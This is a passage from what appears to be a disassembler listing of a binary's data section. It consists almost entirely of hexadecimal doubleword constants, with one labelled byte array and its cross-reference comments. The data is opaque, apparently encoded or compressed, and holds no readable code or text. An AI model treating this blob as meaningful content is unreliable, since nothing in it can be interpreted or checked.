2FF069F0h, 4786006Ah, 4EC5EDE9h dd 8511237Ah, 8015448h, 6F66A659h, 21943356h, 2F5C063Bh dd 4429D039h, 6B80AC5Ah, 16D114EBh, 0C21C001Eh, 48D22934h dd 0BB4C7335h, 805C5C78h, 696E0FC8h, 1D1B3C41h, 2A082500h dd 0D38FBCDh, 8098B75Ch, 0F90B435Fh, 9CB44CC4h, 0A05CF500h dd 0EB647C8Ch, 18B23E7Ah, 0BDF8A812h, 8C5F5C83h, 0D2815900h dd 0A1C06EDBh, 0A491B50Ch, 1C290014h, 9A9631C1h, 0A2003E2Eh dd 0B4D19B4Ah, 62A98AAh, 4F1CD7BBh, 0DDF208B2h, 0A8E8A400h dd 526E9980h, 60714864h, 1726E100h, 222BB5B8h, 0D7B4980Fh dd 0F83700FCh, 0F46596h, 0AB92FD90h, 7D181FA3h, 2FB551C3h dd 8931061Dh, 18A637A1h, 1F0077F0h, 0CF52C951h, 184DC44Fh dd 98AC1B8Fh, 0A180B4A4h, 31B36F31h, 0F049A38Dh, 5830B5E8h dd 2C1F1120h, 6038A3BAh, 509071F2h, 0F083B04Bh, 28A15CA4h dd 22286B3Bh, 0B800A99Ch, 0E1F8FF34h, 0F8A37841h, 29BE60CFh dd 0D296E9B7h, 63A25F00h, 690B3D70h, 469100B1h, 1EC4711Ah dd 0C36330A1h, 302DD031h, 0D93E3A81h, 293ED1BFh, 4C178042h dd 0A3DE3B3Ch, 4F1D147Bh, 24295CE6h, 0BD158094h, 2FA114BCh dd 252CAB50h, 9CB5188h, 912DB048h, 81228385h, 0E18FDA53h dd 4817EDB5h, 0B745158Ch, 14D926C8h, 0D4D3549Dh, 5FAE21C4h dd 0A1151D01h, 7195D936h, 7700C878h, 0F4C74A9Dh, 2B3EE862h dd 90D9294Eh, 5E9D7980h, 0C2D2A6h, 0D09AF6A7h, 1C4E8B38h dd 50F8E126h, 0B1075006h, 1E2342E9h, 17C3A014h, 768B2C20h dd 0D3C61589h, 929D6095h, 25180079h, 563FA353h, 9620D1C3h dd 0B9B81017h, 99AA0A18h, 0B540ECADh, 52A16522h, 0EB186C33h dd 8D245020h, 0BDCC61C6h, 14690F21h, 0F006088h, 660A9CBCh dd 0A0AA7400h, 988726E6h, 65A201FAh, 3999FDEAh, 8C78A858h dd 0B991D731h, 0CF11B12Eh, 605980B2h, 0DCBE7A24h, 0A515126Ah dd 387004A3h, 0B0992185h, 0AF441816h, 50FD1877h, 0D054C13Bh dd 0D8A02C54h, 18293002h, 75B05B3Ah, 61754E41h, 7210D02Dh dd 8356CB38h, 2591901Fh, 0B023A9D8h, 1ACE99ACh, 48E491Eh dd 0AC5F1491h, 97A51148h, 4299B02h, 6C8049FDh, 3C78EEBDh dd 0CD4A5F1Ch, 853AA643h, 0C03100AFh, 0BEC3116Ch, 1D00338Fh dd 565142D2h dd 3778AD35h, 0E9905485h, 46C00884h, 0B9132D0h, 44860AD9h dd 0E38E8300h, 0F007552h, 606E3DEDh, 4C0EB093h, 0AB284B38h dd 64B850BCh, 3CAC4C24h, 75464D2h, 0CEAA2CD4h, 4191656Fh dd 543184A5h, 0DB4017CFh, 9690199Fh, 79B70A06h, 0D9A885h dd 502FAD43h, 0E3DB3BBDh, 935F9C00h, 8D85C43Ah, 77B7262Ah dd 0BB2D0C6Ch, 0F7046259h, 0D0EDB4A5h, 5E58C8h, 4559F665h dd 0A847CBB3h, 78577600h, 0AB3D2EFDh, 631F6FCh, 0CD679CEBh dd 0DC86504Dh, 17212443h, 20783100h, 2FD65B8h, 5875A188h dd 7DC0A367h, 0CF2AB726h, 4488889Bh, 0A600E0ABh, 38BB3C19h dd 35B9F207h, 8336CF81h, 0DCB055E6h, 180203E6h, 0E7F5DEBFh dd 0B1906056h, 29E8C9B0h, 40FCA016h, 58AD951Ch, 0ED5CE783h dd 7D9E88AFh, 0FB8E0039h, 0A259F388h, 57E632E1h, 347BD024h dd 802D158Ah, 20B75832h, 0ADEF242Bh, 568F3899h, 805200CCh dd 1E693FAh, 61EC5184h, 0FC2DEAD1h, 0DE021127h, 2B1FAF45h dd 0CF9C4926h, 5700A822h, 44101B37h, 46089B3Fh, 2B08477h dd 502ED61Ch, 8EE28768h, 897C4F31h, 6FCEBCDh, 4AAF15B2h dd 1A0028BDh, 8F09E8DBh, 57009A0Eh, 2095E726h, 39A1E984h dd 1735154h, 0B72407A6h, 60287CB9h, 0D089B66Ch, 754F22E2h dd 5F7B7EC0h, 0B8D958h, 3402CA4Eh, 0AB81152h, 0B2EDA9ECh dd 9DE4A1C0h, 971EC0D1h, 489DD366h, 468B2A01h, 0CE3E4361h dd 11C25440h, 0C78D2882h, 0C4390392h, 0B035A119h, 52712148h dd 0B89F30F8h, 373AA3h, 3EB80FEFh, 5FCBED77h, 0B3F40B16h dd 58850405h, 904FD449h, 713A80Ch, 0E4BC018Fh, 811FD52Ch dd 8922234h, 0B92660CFh, 36F2174Ah, 0C8907950h, 6A34F602h dd 0C192D31Eh, 29812B97h, 8E68CF01h, 0BE1D063h, 0A9D92900h dd 54E785FAh, 6C890357h, 53ACBFA2h, 0C6D7BEA0h, 0D5722607h dd 0D6A1C56Bh, 31F02B6Ch, 5EAC02F5h, 70340C35h, 9469C057h dd 10384C6Dh, 0A26B0F7Bh, 0A6693A47h, 0C4DED301h, 2984604Fh dd 8138676Fh, 25723DBEh, 77707DCh, 114CE1C5h, 0F57921C6h dd 0E36180ADh, 839D5403h, 0BE40674h, 593247C5h, 15ADD807h dd 0F3B024EBh, 817EBAh, 0F9E16A8h, 1C18302Ch, 0BABEA03Ah dd 0A7516397h, 0F98178E1h, 19801321h, 8ED6BFC6h, 340C6EB7h dd 299B211Bh, 14AD3A6Dh, 0C0036C40h, 0EFD6711Dh, 0A76B98D4h dd 513363E8h, 0A022FF86h, 32C60030h, 3EA1C34Ah, 75F2EC53h dd 28656D00h, 0ACC5079Dh, 0BFC402D6h, 63241AF6h, 0E4E38C93h dd 45E89E0h, 36018198h, 40173A0Dh, 4EEC370Bh, 0CD91C020h dd 0FA87014h, 5C61F600h, 21C0C62Fh, 11EE6EDh, 60F98D4Ch dd 51FD03C2h, 40903030h, 0D6562B7Ch, 480AFE0Ch, 787B925h dd 0F7B45A1h, 0DE7E91D8h, 4977E004h, 808BBC00h, 5E3B8C4Eh dd 2C1B1140h, 0B36D0A67h, 0C540940Eh, 0C0154EBFh, 0CB6A8F11h dd 0F500052Eh, 0C64678ABh, 3AF2B6BEh, 89302D72h, 4D6C6E30h dd 8516D60h, 7B3601A5h, 81AC0F2Bh, 9DE748Eh, 401AA277h dd 0AFD39D80h, 5601A798h, 73C00594h, 0EADCA61Ch, 7720281Ah dd 66E7147Ch, 0A200304Eh, 3F0139D8h, 0A100CE98h, 574CD95Dh dd 0D69EDB6h, 1BB86DC5h, 71B6B0C1h, 2F3A66h, 6122D812h dd 0AC4ACC41h, 0E239F803h, 223D0879h, 8C0711F8h, 2030D6F1h dd 795FA6h, 0BBF6B6B8h, 3A122733h, 0C6AC5806h, 1210F037h dd 141BF3Eh, 0C778DF34h, 0ECD6D518h, 3A44486Dh, 0C51F0229h dd 778F45BEh, 0D2906440h, 7316140h, 370538EAh, 0FC6C60D4h dd 0D30C68BDh, 412C468Dh, 1CBF03ABh, 16182BEDh, 0F0035CE0h dd 0AD6BD0Ah, 171892B1h, 0C995C1h, 7E03A2F9h, 47E20F24h dd 22A8CB48h, 6A4D2296h, 58B61618h, 7CE3AAAh, 9506BA8Bh dd 6AC85D6h, 399FF528h, 17D5F00h, 4E94E09Dh, 0AB21C718h dd 20638052h, 6F03C491h, 9F9EF1BDh, 0A1E1C6F4h, 0D5102FB8h dd 0ACA4251Ah, 9658DF00h, 6D1F0B76h, 301E14ABh, 3D285491h dd 4D08188Ch, 0B96D3181h, 5790D60h, 14292623h, 106B251Bh dd 7C12AC11h, 47342050h, 0C40AF624h, 0E1953D00h, 190B415Ah dd 83E6AB1h, 942C3066h, 46E92484h, 1FE06F58h, 2A797141h dd 1D62D700h, 3D4340C0h, 0A0934947h, 403C4E24h, 1933F5D1h dd 2CCFDB00h, 0FDBD8A96h, 17B1ED7h, 0A6CC4211h, 88A71CE2h dd 9A395C4Eh, 9719A200h, 0D2079C6Fh, 4B0C3CC6h, 0C87BEA00h dd 6079F55Ch, 423E90CFh, 88C607FAh, 8D007888h, 1363375Bh dd 0ACC41CAEh, 0A96DDDDFh, 9EF50CD4h, 50B8A0D1h, 21561C02h dd 609F4578h, 88A41904h, 2C90592Bh, 8F309480h, 18CAA52h dd 0D9D3C118h, 3BD87F61h, 6CE10551h, 239DE23h, 0BFDE2F4h dd 30C26C98h, 24E3A507h, 0A818A99h, 0DD60FC1Eh, 2442E679h dd 548B78Fh, 2278221Bh, 90A02DD8h, 0FF2188FAh, 39B9E002h dd 90544E3Ah, 886025F0h, 0B407D5Ah, 21F56F40h, 757A3680h dd 8507228Dh, 6C6B2345h, 0F8B0B950h, 30C458BBh, 4036DFC4h dd 0BF0AFF3Dh, 950300B6h, 0C0624476h, 6D0D66E9h, 683F414Dh dd 0CBFEC4Ch, 4726D6B5h, 2F96EC8h, 132511C9h, 0DAC5D080h dd 92CE00DBh, 0B204E344h, 6901E0EEh, 8BB430C3h, 80216496h dd 0EDA722F2h, 4D4A4C80h, 0F800EA3Ah, 80C4C60Fh, 60481608h dd 0EC072123h, 18079BA7h, 0D2DE1BF4h, 1FB419C0h, 32FC016Eh dd 0E9C4CC17h, 56C6D4E0h, 98D5B513h, 0A5D77C04h, 0DC09C10h dd 1D69EABCh, 0E0F4E200h, 17E930B0h, 0D73C07FCh, 9662DF96h dd 60923993h, 704759DFh, 2A04AF8Bh, 6ACCA08Dh, 0CBCD0067h dd 5CD9DF8Eh, 93634EC0h, 0A82B0171h, 48A76C39h, 0C452741Dh dd 29B4C00h, 1F248E29h, 12CC7907h, 9947D714h, 0E06F2012h dd 0B0AA6B7Ch, 4CD33CC0h, 3EBCD4h, 0FD7CE502h, 0DFEE7517h dd 0F970C100h, 0F8B3CDFCh, 278BABFh, 0A0F7B456h, 0A4A03847h dd 365FABE2h, 33D62F1Dh, 0A31BC0C0h, 0D33BBA6Dh, 647808B1h dd 33B98E80h, 12ACA9EDh, 30BEC4D7h, 4A99657Ch, 42007B72h dd 73C24F9Fh, 4DA2B3h, 6C814E50h, 72A12C26h, 0D45A2B2Eh dd 0C1CE51Dh, 2F0C5D4h, 0AEBF8CA6h, 69E17568h, 30A84994h dd 1A26D6C4h, 0BF44702Bh, 0BB01808Ch, 0EFB6071Ch, 0F072A7E9h dd 0B7445AC5h, 3644E6F8h, 0AEF5173Eh, 3054135Bh, 8E162A0Ch dd 20C85F00h, 0B0EA4625h, 20C44ACAh, 36E4DC10h, 0D4D98218h dd 0B006ACB0h, 0FE571680h, 14E80C3Ah, 16544D80h, 0B000A88h dd 0A2FF92ADh, 72E8E7CAh, 0C86F5CF8h, 1C42152Ch, 21B28CD1h dd 9561F531h, 5857AFF1h, 47D2F680h, 89902523h, 77C5CC01h dd 4B2B84C4h, 0B7EB073h, 0A9672E02h, 1119EF00h, 43774176h dd 107C1B1Dh, 0B7F8240h, 0B15B628Fh, 0D7E88064h, 0E18A6A20h dd 38A3B802h, 841423C7h, 0D4073F8h, 8B550777h, 62CE0900h dd 2368015Ah, 80E707F3h, 0E0B6FB91h, 13FAE9ACh, 7A7EB2C0h dd 4AE73469h, 0E33C306Ch, 991FC564h, 0E00917FAh, 4A9CA0BDh dd 906EE147h, 4DC844B0h, 0CD817265h, 9F4F14C0h, 0E2B2009Ch dd 0CE9E5F6Ch, 83017DEAh, 0D1BF429Ah, 0B862EBA6h, 23C0E858h dd 0CDBE0977h, 5DA8F0Fh, 41A4E6DCh, 22A89029h, 1CA06D23h dd 0E21B3DDFh, 0E4B83005h, 0DCF4D643h, 0E933997Ch, 0E2D51921h dd 15DF2092h, 0B973B622h, 66BDEB00h, 106F73F3h, 84E00040h dd 5D458928h, 7813BFD8h, 0E4243A51h, 250D58C2h, 0D5A00005h dd 9756256Ch, 7F200C07h dd 847995D6h, 30522220h, 3934D218h, 2B10CF03h, 802809BFh dd 525DC7Fh, 1F78AE4h, 96F4CCC0h, 7109291Ch, 17842B54h dd 24322E1Bh, 82919B3h, 0C4E5027h, 0B1F0076Dh, 628EE995h dd 0F5231DB8h, 0DC9100A9h, 8CF1CDFAh, 26037BEEh, 2855933Ch dd 18685C64h, 848E540Bh, 520FE404h, 0D6290802h, 0AC5160h dd 0BBA7FC1Fh, 0B213CF8Fh, 2E013375h, 974DDC88h, 782C6ED5h dd 61261B82h, 8ED6E490h, 0D0817490h, 2D6B109Eh, 9F071341h dd 91F10C53h, 0BA006719h, 0F3E69D0Fh, 0D145ECh, 34D60833h dd 8E1813A0h, 4B20FD0Ah, 0F418CCC5h, 48EE0C71h, 410057C6h dd 0F681147Dh, 0B7027583h, 1591F1Dh, 0E8C6C5h, 94EEE64Ch dd 846DD02Bh, 66884D7Ch, 11490225h, 0D5648FE7h, 4E37CC81h dd 5321801Ah, 0E7D6FBEh, 9CA1004Ch, 0CCA519C4h, 0BF0B85D4h dd 6D3F4Ah, 0BDCF0A08h, 0B06B50D6h, 0C2440364h, 4D177CC4h dd 0A6E704C8h, 792BDE30h, 2DD5DD5h, 97BE4BDFh, 0F4C118A4h dd 51A0506Ch, 533EE661h, 0C9B08092h, 4BC2CF5Fh, 69AE2584h dd 2D4D04B9h, 0FB4E00ACh, 97A88617h, 0E19638E8h, 1410905Dh dd 21F44C0Eh, 37E508AAh, 0AC8D29BEh, 409E2300h, 0C184211Bh dd 0D3B45759h, 80583891h, 3322898h, 86D00040h, 9D60E712h dd 8902AC3Ch, 0CA4E567Bh, 5CFC5836h, 0CD69828h, 9070A238h dd 583E8744h, 0F3808448h, 1DB367FEh, 0E17EFD04h, 0C0A017C0h dd 98888A24h, 2C683228h, 0F68F3453h, 0D3049C96h, 28A0FCDCh dd 5F8F053Eh, 0CC953073h, 0CC4A4820h, 0B34AD00Bh, 6D42DCA4h dd 3C8218ABh, 8E29651Fh, 39659118h, 0E1980837h, 0F189BE80h dd 523057C5h, 1278AC97h, 20F4F6BFh, 0EB5846D4h, 9AC16003h dd 0C770F837h, 4CD14055h, 0A8632D1Bh, 24F1AB17h, 0CFCC8CA4h dd 0A3895400h, 0C424F6F4h, 0D68B0079h, 2319FC2Fh, 0B30AE927h dd 24174D6Eh, 0DD03E604h, 0E80CDCF5h, 4BBC1D09h, 0E5AA00C7h dd 87BDADAFh, 39CED06h, 4579EA30h, 48DE306Bh, 0BC276C09h dd 1303FFA8h, 0C4D24CC9h, 974128C8h, 4A74D8B8h, 0AC6AD724h dd 0FC74F801h, 0C01ACF3h, 5A1360DDh, 14F6D200h, 0D6BF56DBh dd 7DF49066h, 8F5C884Dh, 70348900h, 1FF5E961h, 0FB4903Eh dd 3062D736h, 593E8F4h, 85114C1Ch, 1B60C86Ch, 0C8B0274Ch dd 222264AFh, 45B8E6E1h, 682AE01Eh, 4888BE89h, 0BF925F28h dd 5E8A8C81h, 6C3C25F1h, 0E7C3B788h, 60A5E2E1h, 1326CA5Ch dd 522C8F8Ah, 0A2C45964h, 0C3F89278h, 0A70B9842h, 96E052EDh dd 7FB960B0h, 9077DF6h, 4C55490Eh, 83117ED2h, 0FB16CF38h dd 0DB71F90Fh, 300A33E0h, 56211F4Eh, 0EA1D3B42h, 9A405D72h dd 0D2540F4Fh, 0F2EB005Ah, 87AC797Fh, 386BEE4Eh, 0DF1C0288h dd 2BD82A35h, 8E113C64h, 0E7A717AEh, 9AD83026h, 0C8A66Ch dd 0D8F3FAD2h, 0D4DC592Ah, 8E744C4Ch, 0C657A0B3h, 254A198h dd 1F3EE9BCh, 0EC842C32h, 19C640A9h, 7C5BAE9Fh, 449A54B4h dd 80C0B921h, 1989FCAFh, 1001761h, 0DBADF1DEh, 3A3CBF4Bh dd 1F80540Ah, 0C65BCAD6h, 0D22EACC4h, 5CC030A6h, 9928E3A7h dd 53959188h, 54BB007Ch, 0CD323755h, 62600292h, 0B18F1D26h dd 0D6581CC8h, 8948F348h, 65F087DCh, 803775B2h, 7243E9F8h dd 5D5200FCh, 9BEC3D6Dh, 20CB1350h, 878810F5h, 0ADA10027h dd 508AD33Ah, 120398B3h, 0D2C34B01h, 0A8B9AB53h, 9EC2FE23h dd 212A4440h, 24087725h, 9F43D1C3h, 0EF26B851h, 5D071F58h dd 614740BBh, 3C3E30C5h, 0BEADE40Ah, 0E6088441h, 6CDD8135h dd 883AE24Eh, 0BE26AF69h, 4E181452h, 0D6CE1919h, 1EE5EE03h dd 0E015E439h, 96D167Fh, 2CE9C565h, 52739484h, 0A51F4030h dd 5D83A063h, 87510F23h, 6B20E03Ah, 76997733h, 0DD4D0414h dd 7CB02E78h, 82EC8459h, 458000A1h, 0D92C6336h, 0A302A0EAh dd 7B0139A9h, 0B55C411Fh, 0DC5A4D12h, 0D80DBF30h, 3C23EFFAh dd 0E384FD1Bh, 0C29ADC70h, 94C448A6h, 9B990A03h, 16046FEDh dd 306C2558h, 8CB06BDCh, 0CBCCAC00h, 0F354BD42h, 2927BBAh dd 6E6546D6h, 10F117B3h, 6D6FE904h, 2F57308Ch, 2018544Eh dd 0C418CC7Bh, 3E810247h, 6E1C0099h, 53A023AEh, 3C18DF40h dd 30211248h, 0A870B19Bh, 2A411630h, 26500476h, 5AC2065h dd 0D6B705D3h, 0E448530Ah, 6F3BFB94h, 0FF300054h, 1E55E8C0h dd 3A98009Bh, 7015C667h, 4CB1291Bh, 497EC400h, 5C3EC00Eh dd 1E3E3465h, 0FDCC4C41h, 0AB00E979h, 0B54D4401h, 3C707Fh dd 0F8979FEBh, 2A998521h, 0C663F709h, 0A58C0EE9h, 0D2C386BFh dd 0D9693D69h, 27DAAE8Fh, 0C6CD1261h, 11DC2C72h, 1B1226B4h dd 0F62C2C23h, 9726C000h, 0B0455C0Fh, 0BC8008Dh, 96226FA4h dd 0D8B651E9h, 0BFB2F240h, 66A302C1h, 5768BCBEh, 0F5881453h dd 63E4A6EBh, 0B1E04A83h, 7A03760Bh, 40300A67h, 0E2C09AF7h dd 54C81800h, 0A76B12D5h, 0A20494E4h, 0AC4C020Ch, 0C07CE38Ch dd 4CF16C0Ch, 9611B49Bh, 47C6089Ah, 21158023h, 85AEF91Ch dd 0A00E3F0h, 0CE130EA5h, 849AE9h, 46264F22h, 19296D49h dd 909EF909h, 48800864h, 13E88527h, 8532DC08h, 882C1AD5h dd 373B1D74h, 0D668809Ch, 0D72D256Bh, 80DA50B3h, 6E2F1496h dd 6D8B90B5h, 6C387800h, 413D4825h, 0AB920BB2h, 0FA5C82D2h dd 7FBC6017h, 0AE9504A2h, 0F12D6CDEh, 43F080C0h, 0B01D01F7h dd 64FF095Eh, 48C096D6h, 0C688AC98h, 1AE02DB5h, 0AEBFB090h dd 0F8AA5329h, 0EB8D4680h, 0EA150154h, 0F09F01BFh, 69C1A305h dd 1FF09244h, 2262D830h, 93E1DF5h, 7DC6405Fh, 5681A447h dd 849658C9h, 0D85819ACh, 0CD012B27h, 8CD7BC52h, 249C785Dh dd 23B68BC5h, 11702C99h, 998F3147h, 3B20D754h, 11ABDB0Dh dd 0BDE81E04h, 0FCCC6E2Ah, 405100EDh, 762DB69h, 0FE7BD4B5h dd 0E1247600h, 3F59778Bh, 63B426D0h, 0C801135Ch, 5C012D10h dd 0B8BCDB2Bh, 0C9E09438h, 52B30029h, 85B623D2h, 0B72F791Ah dd 401812BEh, 0E6594ABh, 386DC4D4h, 0CB815A0h, 2C7F1B89h dd 82419100h, 53DF1225h, 25B3EACDh, 0C0188D75h, 0C11A405Ah dd 79287BE0h, 5B040050h, 4A3789F0h, 0E9219901h, 0BEA01FBAh dd 73E79C47h, 0B088F4F5h, 9AFA0089h, 628AF32h, 8330229Bh dd 0F054FCA1h, 5DC412EEh, 70F00865h, 0E5B26D8Bh, 762414h dd 85ECAF50h, 0D09CF4E3h, 0F1DF6580h, 0F516B4h, 0BD57EDFAh dd 0CB67C711h, 690FC478h, 56E2ABECh, 4526D443h, 0BED5A1E7h dd 6006433h, 0B8FAC1DFh, 100EE83Dh, 0AD496Fh, 0B9FE82A4h dd 96470123h, 0DFF66BD9h, 0C053D8D7h, 0AFF4D625h, 9AAD60B8h dd 3225603h, 1B28C7F6h, 0B2C50ADEh, 0E48A00ECh, 66B85573h dd 0B06E143Dh, 0AD227419h, 33B7A000h, 3ED9820Dh, 0E1291EAFh dd 8090D367h, 57512560h, 4A004C74h, 0BAE093D3h, 2DA707D6h dd 9880F515h, 0BF748858h, 1E4F848h, 0A6E4ACC0h, 24632DE5h dd 0C658A422h, 0D36B0E87h, 3E6764E9h, 0A13D6CC3h, 0C4624EB9h dd 465B1Ch, 7B5CF29Dh, 160072D7h, 4FE2B7E7h, 6A24045h dd 943021A3h, 0F09159A7h, 85877580h, 5DF3FFh, 9C2BD49Eh dd 0B62FF06Ch, 0CF1397EEh, 3000424Fh, 6E92F9B3h, 0C6040B37h dd 44E4AD6Dh, 0BBA73600h, 0B6C4E447h, 0D87D02DFh, 223D6CD6h dd 4C4154A0h, 2500D09Ah, 0AF590D99h, 245C4Dh, 29201C4h dd 415AD546h, 4CC65E3Bh, 0AE37812Ch, 3BC89BBCh, 7FE201DDh dd 7A4E50E9h, 6DE0FCAFh dd 73F09D00h, 0BECF69F6h, 0C56A18D6h db 46h byte_530055 db 0E1h, 5Eh, 0DBh ; DATA XREF: ___:off_43859Co ; ___:off_4385B4o dd 44C8C3Eh, 47A02254h, 0EC07B0A9h, 70597618h, 0ACEB8113h dd 54114616h, 0E35C0C30h, 944909EEh, 0D080BED4h, 8C3059EFh dd 0E8408494h, 172B6D42h, 811F52E1h, 8958FE8h, 7938A2E8h dd 27BF0024h, 4B11569Bh, 0E48000B9h, 877DA1Dh, 0AF9C01EAh dd 0BAB371C5h, 0ACC8D48Dh, 6EE24DFAh, 90CA88h, 0DBA083A9h dd 774E6654h, 0B9B4701h, 402FAF3Fh, 8D27B096h, 80002C0Ch dd 86F64752h, 0AAC33882h, 0DB543682h, 0F042DC6Ch, 22112C79h dd 9C806B8Bh, 372B725Bh, 7D2410F0h, 0AE92548Eh, 89D7640Bh dd 814C9817h, 0B400F5Dh, 8E8253B7h, 58627249h, 1036C461h dd 9C6664Ah, 0DD04D656h, 72C95481h, 40CEE158h, 2B5D46B0h dd 16CD2D58h, 74D047D5h, 0B5DACFh, 0D2F81932h, 0AA2BBF94h dd 0F23F040Ah, 7660F4D3h, 326F4C6h, 0C78EBAADh, 8285B8B0h dd 1B2213A0h, 5CAC642Ah, 0C1A13C53h, 209715EFh, 69E889C8h dd 4E373404h, 7B8601F5h, 0BFF0B2D2h, 0F46C58DDh, 4E016D04h dd 5C24A8EEh, 0EC7F8068h, 9878269Fh, 4A302CCBh, 0E5546048h dd 7B2E85DDh, 700963Dh, 0B1A55DF1h, 8AE6004Ch, 0ED43C2DCh dd 3890502Eh, 0E4129E42h, 90CDC23h, 9007FA07h, 2E40327Ch dd 5BA2439h, 212B78A4h, 0C8C0133Eh, 0A200C3D8h, 0D23894CCh dd 2302522h, 0DEC065CBh, 0B871211Ah, 0B890B211h, 8FFA55C0h dd 1A00CACEh, 0BEAE846Bh, 48302229h, 30934092h, 0B2162658h dd 162DFC3Fh, 34204CCCh, 77C0F1h, 0C20275D4h, 0B6ACFC5Eh dd 112F5B02h, 0F1C1E231h, 5DA300E4h, 5C72F592h, 5A01CA75h dd 977EAD37h, 71D0BF66h, 25C62E2Ch, 1AE405C8h, 8CE816B5h dd 7600EC68h, 0F5FA2F28h, 2B3E39h, 0A3A97010h, 588C67D4h dd 18D6042Ch, 30005B16h, 91B25465h, 27411771h, 0B6083012h dd 565BA572h, 680057FCh, 4B380F9Bh, 841F525Ch, 0E89E18Fh dd 2260507Dh, 0C60E6E4Dh, 56AEB589h, 900A113h, 803304Eh dd 0D7022EF9h, 5910BB8h, 0E2A7F820h, 30970C29h, 6AC544h dd 0E7909DFEh, 7150FC56h, 2C68B706h, 23B0EE87h, 669E42E1h dd 3D1418C0h, 3C656Fh, 67832650h, 2F0A9EE2h, 0FBCAC205h dd 380047E9h, 0C76B9FF7h, 0E7A700F0h, 827D7EFEh, 2DE61109h dd 6FF14C06h, 7EB0083Ah, 20ED8841h, 55993088h, 4410BC9Dh dd 5A28708h, 0D1E5DB98h, 9359C02Fh, 5100108Dh, 0A3808F4Dh dd 0C016BD90h, 95D55E31h, 7D09C547h, 72C041CBh, 0DB733B4h dd 1CD85D21h, 0DD4A5F3Fh, 2BC5420h, 45740050h, 43BD91B8h dd 98046426h, 0BFCAE883h, 29AEF0C2h, 0ECDA58C1h, 6D0470E9h dd 2F5AE460h, 6BE7F4C0h, 67A800F7h, 0CDBF8005h, 230175EAh dd 1437048Eh, 28A428FAh, 4FF709C4h, 41C26C8Eh, 0CCE698D6h dd 74B36D2Eh, 0C84C25h, 0B8631C55h, 0E18B0B37h, 3CB8F01h dd 824021C6h, 0B96E56E8h, 0BDC0CEC4h, 10F2C162h, 0C56BE513h dd 344C8h, 40E36EA9h, 0DA5B72F0h, 6C901F00h, 7E7C585Ch dd 3BB10E8Dh, 2C9FB2ECh, 0D04025F4h, 35179778h, 28C8E6C0h dd 1EBD0051h, 8F2A03DDh, 5709A276h, 0A2960BCDh, 0A0704E08h dd 3B113D4h, 4BB00075h, 97A7AE7Eh, 21053F5Dh, 0F2284C79h dd 0D007B4A2h, 70CA12C1h, 64D833E1h, 0DC8BF500h, 999BFE71h dd 6AACA06Dh, 316B882Bh, 486C123Eh, 4995C124h, 82E8AEDDh dd 36B003Ch, 4FC97B99h, 0E4008ED3h, 433EB158h, 4CDC40C0h dd 9980444Ch, 97308AE2h, 50C9AC09h, 0EA5C227Eh, 4D5222Eh dd 0D60200CCh, 309AB70Eh, 49985E95h, 0FC7280B0h, 9878492Fh dd 0B1AD30h, 4AEA92FDh, 968C8AE0h, 95296A01h, 5F3DD3B6h dd 3222EC69h, 80C84E58h, 87C0E467h, 16B01EAh, 82DED2E7h dd 7CD06515h, 0E35280FCh, 76884Ch, 1F0A150h, 1AE6FC29h dd 0ACE49CA2h, 0CC004874h, 1FD093F5h, 301B4Bh, 50A15267h dd 0BBE5C93Ah, 97876304h, 0DC87BEA3h, 20268148h, 63251AC2h dd 16D6019Ch, 4FB96E66h, 2C6C6184h, 0D9D4CC34h, 6D89C700h dd 206ED8FEh, 79367172h, 60B09CB6h, 0A15DF0FFh, 6C8639h dd 99A3BFBCh, 90A5B7F3h, 0F2DF0603h, 3139E0A6h, 93FD75Ch dd 0E096D62Bh, 1FC504B0h, 6C0FF4E7h, 0EA020400h, 90948281h dd 2DEECE20h, 2999DE2Fh, 0F747E104h, 90108710h, 0BEC0FA0Bh dd 707F19DEh, 5DFB1E9Eh, 810F00BDh, 54F3FDA4h, 20032570h dd 0F6339441h, 0BD0CE95Bh, 2A9BD8h, 0B7C4F0Fh, 0D4BE8EAAh dd 0CC391100h, 342F638h, 670D0585h, 0F9E778h, 0DBDCE9A5h dd 0F27792DEh, 0D7ECF8F2h, 43A42900h, 0B8FB902Bh, 268D01C1h dd 5D22A8Eh, 0D339C898h, 0B3B65A0Fh, 0D93680C5h, 5787E0h dd 0BCE93F32h, 0CC6A3B59h, 130350Ch, 0E2695Dh, 865B1C88h dd 0E650485h, 68F47F00h, 0CB7C42CEh, 349B00EFh, 0D7D22B0Fh dd 0AC07D9D5h, 468F66FCh, 0C8A7A110h, 7F040E94h, 22C0D8A8h dd 67F95DE0h, 1DF87103h, 0F055421Bh, 0F53FC0h, 0D9B61AB3h dd 8BCD5932h, 0F0002F70h, 0C2900BCAh, 195E84Dh, 4494C6A7h dd 8048AB14h, 363B8278h, 0EA16530Ch, 68C500A2h, 0E9950D3Ah dd 107967ECh, 5BF97E00h, 92015652h, 2DED13EBh, 40E91C6Bh dd 63330CF2h, 4C007C8Fh, 1D397971h, 1646CE18h, 113ECB02h dd 9B28FC7Ch, 0F68B80C8h, 0D76B00F2h, 44A358DAh, 53307CFDh dd 16CA4011h, 0A89800BEh, 477F20B4h, 6F3FA597h, 8483280Eh dd 4E1F581Ah, 19B660D0h, 36C985Dh, 0A2E35054h, 7807C7D0h dd 1DE65260h, 8F5AA5EEh, 3B94088h, 82DB371Ch, 74D80B9Dh dd 3405F4D8h, 884FB2CFh, 3637E400h, 60AFE9h, 0C116AC0Dh dd 46F3C8D7h, 1C258h, 7518C687h, 0FEB42CFh, 2666A8AAh dd 0E62A25h, 787D12D7h, 731D6FC3h, 5303E965h, 0B950CA06h dd 5FC0DC74h, 18EA7172h, 0E42AD486h, 8C0B32F1h, 1855DAh dd 83011015h, 0A1E3001Ch, 5ACA8EA3h, 413F69CCh, 0A08A8E9Bh dd 28F745DFh, 0BA248F80h, 98991DC1h, 0EE07FC5Bh, 8096FAB9h dd 496FC058h, 0BE6E3E3Eh, 0CB330023h, 0AEB8545Eh, 26C5008Bh dd 0BBD43B58h, 6C001B49h, 3A5C7A51h, 9B0483h, 4622A41Ah dd 66171D4Bh, 378A3900h, 0C8AFA0AAh, 5A9F0053h, 7C72E052h dd 890057CAh, 35024FFAh, 33D314h, 2806BFE3h, 29D0D75Ah dd 6F0BE600h, 32CC1B34h, 0FF1A1C05h, 479EC08Dh, 845C9051h dd 37A67118h, 5DD88h, 3AF45CFh, 7BFB29DFh, 0B100C47Fh dd 0E9B3BC84h, 25F8A1h, 0F172AA15h, 35944D8Eh, 0CD886400h dd 28A7C9B6h, 0C0597FD6h, 0DB169611h, 8201E151h, 2CA15C8Eh dd 0E040CB3Eh, 135563Ch, 371BFCBBh, 0FC85FEB2h, 652A49BCh dd 0B4028C36h, 12B87E28h, 